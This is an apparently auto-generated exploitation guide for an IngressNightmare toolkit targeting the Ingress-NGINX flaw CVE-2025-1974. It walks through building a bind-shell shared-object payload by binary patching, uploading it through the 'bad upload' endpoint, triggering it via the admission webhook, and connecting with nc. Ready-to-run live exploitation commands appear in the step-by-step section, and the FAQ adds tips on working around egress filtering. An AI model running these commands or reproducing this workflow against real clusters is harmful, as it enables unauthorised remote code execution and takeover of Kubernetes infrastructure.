How to Generate a Bind Shell Payload with IngressNightmare: CVE-2025-1974 Exploitation Guide
Generate a bind shell payload with IngressNightmare by using the NewBindShellPayload function in nginx-ingress/payload.go, which patches the embedded danger.so binary with your specified port and switches the execution mode from MODE_CHECK_FLAG to MODE_BINDING_SH.
The IngressNightmare exploit toolkit targets the Ingress-NGINX controller vulnerability CVE-2025-1974, allowing attackers to execute arbitrary code via the ValidateAdmission webhook. When you need to establish a bind shell—where the target pod listens for incoming connections rather than connecting back to you—the toolkit provides a specialized payload generation mechanism. This guide explains how to generate bind shell payload with IngressNightmare using the command-line interface and underlying Go implementation.
Understanding the Bind Shell Payload Architecture
The bind shell payload is constructed as a malicious shared object (.so) file that the vulnerable Ingress-NGINX controller loads into its process space. Unlike a reverse shell that initiates an outbound connection, the bind shell opens a listening socket inside the compromised pod, waiting for the attacker to connect.
Port Encoding and Byte Replacement
The NewBindShellPayload function in nginx-ingress/payload.go handles the critical step of port configuration. When you specify a bind shell port (for example, 4444), the function performs two transformations:
-
Zero-padding: The port number is left-padded with zeros to create a fixed 5-character string. Port
4444becomes04444, while port99999remains99999. -
Binary patching: The function locates the placeholder string
31337(the default marker) within the embeddeddanger.sobinary and replaces it byte-by-byte with the zero-padded port string. This ensures the bind shell listens on your specified port when executed.
Mode Switching Mechanism
After patching the port, the payload generator switches the execution mode flag inside the binary. The embedded danger.so contains multiple execution paths controlled by internal markers:
MODE_CHECK_FLAG: The default verification mode (used for testing if the library loads correctly).MODE_BINDING_SH: The bind shell mode that executes/bin/shand binds it to the patched port.
The NewBindShellPayload function swaps these markers, ensuring that when the Ingress-NGINX controller loads the shared object, it executes the bind shell routine rather than the check routine.
Step-by-Step: Generate Bind Shell Payload with IngressNightmare
The IngressNightmare repository (esonhugh/ingressnightmare-cve-2025-1974-exps) provides a command-line interface that abstracts the payload generation process. You can generate and deploy the bind shell payload using specific flags.
CLI Flags and Configuration
The relevant flags for bind shell generation are defined in main.go:
--mode(-m): Set tobind-shell(orbfor short) to select the bind shell payload type.--bind-shell-port(-b): Specify the port number where the shell will listen (range: 1-65535, though internally formatted as 5 characters).
Additional required flags for the exploit:
--ingress-webhook-url(-i): The HTTPS endpoint of the Ingress-NGINX admission controller.--upload-url(-u): The HTTP endpoint of the Ingress-NGINX controller pod used for file upload (the "bad upload" method).
Dry-Run Verification
Before executing against a live target, verify the payload generation using the --dry-run flag. This outputs the raw binary payload to stdout instead of uploading it, allowing you to inspect the size or pipe it to analysis tools.
./ingress-nightmare \
--mode bind-shell \
--bind-shell-port 4444 \
--ingress-webhook-url https://ingress-nginx-controller-admission.namespace.svc:443 \
--upload-url http://ingress-nginx-controller.namespace.svc:80 \
--dry-run
When run with --dry-run, the tool invokes NewBindShellPayload(4444), which returns the patched .so content. You can redirect this output to a file to verify the binary structure: --dry-run > /tmp/payload.so.
Live Exploitation Example
To execute the full exploit chain and establish a bind shell on the target pod:
./ingress-nightmare \
-i https://ingress-nginx-controller-admission.default.svc:443 \
-u http://ingress-nginx-controller.default.svc:80 \
-m b \
-b 4444
Parameter breakdown:
-ipoints to the admission webhook that triggers the validation logic.-uspecifies the upload endpoint where the malicious.sofile is placed using the "bad upload" technique.-m bselects bind-shell mode (short alias forbind-shell).-b 4444configures the payload to listen on TCP port 4444.
Upon successful execution, the tool uploads the payload generated by NewBindShellPayload, probes the webhook until the library loads, and the target pod opens /bin/sh bound to 0.0.0.0:4444. You can then connect using nc <pod-ip> 4444.
Technical Implementation Details
The bind shell generation relies on specific source files within the esonhugh/ingressnightmare-cve-2025-1974-exps repository.
Payload Construction Logic
The core function NewBindShellPayload resides in nginx-ingress/payload.go (lines 74-90). This function:
- Accepts an integer port parameter.
- Formats it using
fmt.Sprintf("%05s", port)to ensure 5-character width. - Invokes
bytes.ReplaceAllto substitute the hardcoded placeholder31337with the formatted port. - Replaces the mode marker
MODE_CHECK_FLAGwithMODE_BINDING_SHto trigger the bind shell execution path.
The function returns a []byte slice containing the complete malicious shared object ready for upload.
CLI Integration
In main.go, the bind shell configuration is exposed through flag definitions (lines 78-86):
&cli.StringFlag{
Name: "mode",
Aliases: []string{"m"},
Value: "check",
Usage: "Payload mode: check, bind-shell, reverse-shell, cmd",
},
&cli.IntFlag{
Name: "bind-shell-port",
Aliases: []string{"b"},
Value: 31337,
Usage: "Port for bind shell (used with -m bind-shell)",
}
The main execution logic (lines 11-18) switches on the mode flag, calling NewBindShellPayload when mode == "bind-shell" or "b".
Upload and Trigger Mechanism
The BadUploader function in nginx-ingress/exploit.go (lines 52-85) handles the actual delivery:
- Constructs a multipart form-data request containing the generated
.sopayload. - POSTs the request to the
--upload-urlendpoint (exploiting the "bad upload" vulnerability). - Returns the path where the file was stored on the target.
The main exploit loop then repeatedly sends validation requests to the --ingress-webhook-url, causing the Ingress-NGINX controller to load the uploaded shared object and execute the bind shell.
Summary
- IngressNightmare generates bind shell payloads by patching the embedded
danger.sobinary with a specified port and switching the execution mode fromMODE_CHECK_FLAGtoMODE_BINDING_SH. - Use the
--mode bind-shell(or-m b) flag combined with--bind-shell-port(or-b) to configure the payload via the CLI. - The
NewBindShellPayloadfunction innginx-ingress/payload.gohandles zero-padding the port to 5 characters and replacing the placeholder31337in the binary. - The
BadUploaderinnginx-ingress/exploit.godelivers the payload to the target pod, after which repeated webhook probes trigger the library load and bind shell execution.
Frequently Asked Questions
What port range can I use for the bind shell payload?
IngressNightmare accepts any valid TCP port number from 1 to 65535. The NewBindShellPayload function formats your input using fmt.Sprintf("%05s", port), which left-pads the number with zeros to ensure exactly 5 characters (e.g., port 80 becomes 00080). This fixed-width string then replaces the placeholder 31337 in the embedded danger.so binary.
How does the bind shell mode differ from reverse shell mode?
The bind shell mode configures the malicious .so library to execute /bin/sh and attach it to a listening socket on the target pod, whereas reverse shell mode causes the pod to initiate an outbound connection to an attacker-controlled listener. In nginx-ingress/payload.go, bind shell mode sets the internal marker to MODE_BINDING_SH, while reverse shell uses MODE_REVERSE_SH. Use bind shell when the target pod cannot reach your external IP due to egress filtering, or when you want a persistent listener independent of your network location.
Can I use a custom compiled shared object instead of the embedded one?
Yes, if you encounter architecture mismatches or "exec format error" messages, you can compile a custom danger.so for the target platform and supply it via the --so flag. The NewBindShellPayload function will still apply the same byte-replacement logic to your custom binary—patching the 31337 placeholder with your zero-padded port and switching the mode marker to MODE_BINDING_SH—before the BadUploader in nginx-ingress/exploit.go delivers it to the target.
Why does the exploit require both a webhook URL and an upload URL?
IngressNightmare exploits a two-stage vulnerability in Ingress-NGINX: first, it uploads the malicious .so file to a writable directory within the controller pod using the "bad upload" method (targeting the --upload-url), and second, it triggers the ValidateAdmission webhook (--ingress-webhook-url) to load that file as a shared library. The webhook runs with elevated privileges and loads the uploaded path, executing your bind shell payload. Without both endpoints, the library cannot be placed on the filesystem or loaded into memory.
Have a question about this repo?
These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:
curl -s "https://instagit.com/install.md" Maintain an open-source project? Get it listed too →